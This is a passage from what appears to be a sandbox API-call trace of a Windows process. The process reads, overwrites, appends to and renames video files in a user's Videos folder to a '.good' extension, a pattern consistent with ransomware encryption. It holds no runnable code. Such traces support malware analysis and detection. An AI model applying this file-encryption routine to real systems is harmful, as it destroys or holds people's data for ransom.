lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\sQ836 S lnpHgRZk.avi.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\sq836 s lnphgrzk.avi.gоod")) returned 1 [0167.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", lpFilePart=0x0) returned 0x2d [0167.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0167.078] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\t5gzuy.avi"), fInfoLevelId=0x0, lpFileInformation=0x34f4030 | out: lpFileInformation=0x34f4030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84157860, ftCreationTime.dwHighDateTime=0x1d4ca24, ftLastAccessTime.dwLowDateTime=0xd9f146a0, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0xd9f146a0, ftLastWriteTime.dwHighDateTime=0x1d4c903, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0167.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0167.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", lpFilePart=0x0) returned 0x2d [0167.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0167.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\t5gzuy.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0167.078] GetFileType (hFile=0x61c) returned 0x1 [0167.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0167.078] GetFileType (hFile=0x61c) returned 0x1 [0167.078] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0167.078] ReadFile (in: hFile=0x61c, lpBuffer=0x34f43d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x34f43d8*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0167.079] CloseHandle (hObject=0x61c) returned 1 [0167.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", lpFilePart=0x0) returned 0x2d [0167.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0167.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\t5gzuy.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0167.079] GetFileType (hFile=0x61c) returned 0x1 [0167.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0167.079] GetFileType (hFile=0x61c) returned 0x1 [0167.079] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x3000 [0167.079] WriteFile (in: hFile=0x61c, lpBuffer=0x34f5638*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x34f5638*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0167.079] CloseHandle (hObject=0x61c) returned 1 [0167.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", lpFilePart=0x0) returned 0x2d [0167.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0167.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\t5gzuy.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0167.080] GetFileType (hFile=0x61c) returned 0x1 [0167.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0167.080] GetFileType (hFile=0x61c) returned 0x1 [0167.080] ReadFile (in: hFile=0x61c, lpBuffer=0x34f78c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x34f78c0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0167.356] CloseHandle (hObject=0x61c) returned 1 [0167.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", lpFilePart=0x0) returned 0x2d [0167.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0167.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\t5gzuy.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0167.357] GetFileType (hFile=0x61c) returned 0x1 [0167.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0167.357] GetFileType (hFile=0x61c) returned 0x1 [0167.357] WriteFile (in: hFile=0x61c, lpBuffer=0x33e80e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x33e80e8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0167.357] CloseHandle (hObject=0x61c) returned 1 [0167.357] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi", lpFilePart=0x0) returned 0x2d [0167.357] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi.gоod", lpFilePart=0x0) returned 0x32 [0167.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0167.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\t5gzuy.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84157860, ftCreationTime.dwHighDateTime=0x1d4ca24, ftLastAccessTime.dwLowDateTime=0xd9f146a0, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0x5ff78f83, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3010)) returned 1 [0167.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0167.357] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\t5gzuy.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\T5GZUY.avi.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\t5gzuy.avi.gоod")) returned 1 [0167.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", lpFilePart=0x0) returned 0x38 [0167.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0167.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\xonddnkzne_yaym4d.avi"), fInfoLevelId=0x0, lpFileInformation=0x357e750 | out: lpFileInformation=0x357e750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b40a0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0x80b231f0, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x80b231f0, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x16e81)) returned 1 [0167.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0167.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", lpFilePart=0x0) returned 0x38 [0167.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0167.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\xonddnkzne_yaym4d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0167.359] GetFileType (hFile=0x61c) returned 0x1 [0167.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0167.359] GetFileType (hFile=0x61c) returned 0x1 [0167.359] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0167.359] ReadFile (in: hFile=0x61c, lpBuffer=0x357eb58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x357eb58*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0167.359] CloseHandle (hObject=0x61c) returned 1 [0167.359] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", lpFilePart=0x0) returned 0x38 [0167.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0167.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\xonddnkzne_yaym4d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0167.359] GetFileType (hFile=0x61c) returned 0x1 [0167.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0167.359] GetFileType (hFile=0x61c) returned 0x1 [0167.359] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x16e81 [0167.360] WriteFile (in: hFile=0x61c, lpBuffer=0x357fde8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x357fde8*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0167.360] CloseHandle (hObject=0x61c) returned 1 [0167.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", lpFilePart=0x0) returned 0x38 [0167.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0167.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\xonddnkzne_yaym4d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0167.360] GetFileType (hFile=0x61c) returned 0x1 [0167.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0167.360] GetFileType (hFile=0x61c) returned 0x1 [0167.360] ReadFile (in: hFile=0x61c, lpBuffer=0x35820a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x35820a0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0168.869] CloseHandle (hObject=0x61c) returned 1 [0168.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", lpFilePart=0x0) returned 0x38 [0168.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0168.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\xonddnkzne_yaym4d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0168.870] GetFileType (hFile=0x61c) returned 0x1 [0168.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0168.870] GetFileType (hFile=0x61c) returned 0x1 [0168.870] WriteFile (in: hFile=0x61c, lpBuffer=0x33e79c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x33e79c0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0168.870] CloseHandle (hObject=0x61c) returned 1 [0168.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi", lpFilePart=0x0) returned 0x38 [0168.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi.gоod", lpFilePart=0x0) returned 0x3d [0168.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0168.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\xonddnkzne_yaym4d.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b40a0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0x80b231f0, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x60ddfda0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16e91)) returned 1 [0168.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0168.871] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\xonddnkzne_yaym4d.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\xoNDdnkZNe_yaYM4d.avi.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\xonddnkzne_yaym4d.avi.gоod")) returned 1 [0168.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0168.872] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG", lpFilePart=0x0) returned 0x2e [0168.872] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ac46b00, ftCreationTime.dwHighDateTime=0x1d4d0ed, ftLastAccessTime.dwLowDateTime=0x97d0b40, ftLastAccessTime.dwHighDateTime=0x1d4c86c, ftLastWriteTime.dwLowDateTime=0x97d0b40, ftLastWriteTime.dwHighDateTime=0x1d4c86c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0168.872] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ac46b00, ftCreationTime.dwHighDateTime=0x1d4d0ed, ftLastAccessTime.dwLowDateTime=0x97d0b40, ftLastAccessTime.dwHighDateTime=0x1d4c86c, ftLastWriteTime.dwLowDateTime=0x97d0b40, ftLastWriteTime.dwHighDateTime=0x1d4c86c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.872] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd941c670, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0x46d61f70, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0x46d61f70, ftLastWriteTime.dwHighDateTime=0x1d4cb7f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pk-L7XkqjZOuQE5nF5ZG", cAlternateFileName="PK-L7X~1")) returned 1 [0168.872] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5191c550, ftCreationTime.dwHighDateTime=0x1d4cff2, ftLastAccessTime.dwLowDateTime=0xe18059e0, ftLastAccessTime.dwHighDateTime=0x1d4c932, ftLastWriteTime.dwLowDateTime=0xe18059e0, ftLastWriteTime.dwHighDateTime=0x1d4c932, nFileSizeHigh=0x0, nFileSizeLow=0x946d, dwReserved0=0x0, dwReserved1=0x0, cFileName="_etfoQ.mp4", cAlternateFileName="")) returned 1 [0168.872] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0168.873] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0168.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0168.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0168.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0168.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG", lpFilePart=0x0) returned 0x2e [0168.873] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ac46b00, ftCreationTime.dwHighDateTime=0x1d4d0ed, ftLastAccessTime.dwLowDateTime=0x97d0b40, ftLastAccessTime.dwHighDateTime=0x1d4c86c, ftLastWriteTime.dwLowDateTime=0x97d0b40, ftLastWriteTime.dwHighDateTime=0x1d4c86c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0168.873] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ac46b00, ftCreationTime.dwHighDateTime=0x1d4d0ed, ftLastAccessTime.dwLowDateTime=0x97d0b40, ftLastAccessTime.dwHighDateTime=0x1d4c86c, ftLastWriteTime.dwLowDateTime=0x97d0b40, ftLastWriteTime.dwHighDateTime=0x1d4c86c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.873] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd941c670, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0x46d61f70, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0x46d61f70, ftLastWriteTime.dwHighDateTime=0x1d4cb7f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pk-L7XkqjZOuQE5nF5ZG", cAlternateFileName="PK-L7X~1")) returned 1 [0168.873] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5191c550, ftCreationTime.dwHighDateTime=0x1d4cff2, ftLastAccessTime.dwLowDateTime=0xe18059e0, ftLastAccessTime.dwHighDateTime=0x1d4c932, ftLastWriteTime.dwLowDateTime=0xe18059e0, ftLastWriteTime.dwHighDateTime=0x1d4c932, nFileSizeHigh=0x0, nFileSizeLow=0x946d, dwReserved0=0x0, dwReserved1=0x0, cFileName="_etfoQ.mp4", cAlternateFileName="")) returned 1 [0168.873] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5191c550, ftCreationTime.dwHighDateTime=0x1d4cff2, ftLastAccessTime.dwLowDateTime=0xe18059e0, ftLastAccessTime.dwHighDateTime=0x1d4c932, ftLastWriteTime.dwLowDateTime=0xe18059e0, ftLastWriteTime.dwHighDateTime=0x1d4c932, nFileSizeHigh=0x0, nFileSizeLow=0x946d, dwReserved0=0x0, dwReserved1=0x0, cFileName="_etfoQ.mp4", cAlternateFileName="")) returned 0 [0168.874] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0168.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0168.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0168.874] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", lpFilePart=0x0) returned 0x39 [0168.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0168.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\_etfoq.mp4"), fInfoLevelId=0x0, lpFileInformation=0x36095b0 | out: lpFileInformation=0x36095b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5191c550, ftCreationTime.dwHighDateTime=0x1d4cff2, ftLastAccessTime.dwLowDateTime=0xe18059e0, ftLastAccessTime.dwHighDateTime=0x1d4c932, ftLastWriteTime.dwLowDateTime=0xe18059e0, ftLastWriteTime.dwHighDateTime=0x1d4c932, nFileSizeHigh=0x0, nFileSizeLow=0x946d)) returned 1 [0168.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0168.874] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", lpFilePart=0x0) returned 0x39 [0168.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0168.874] 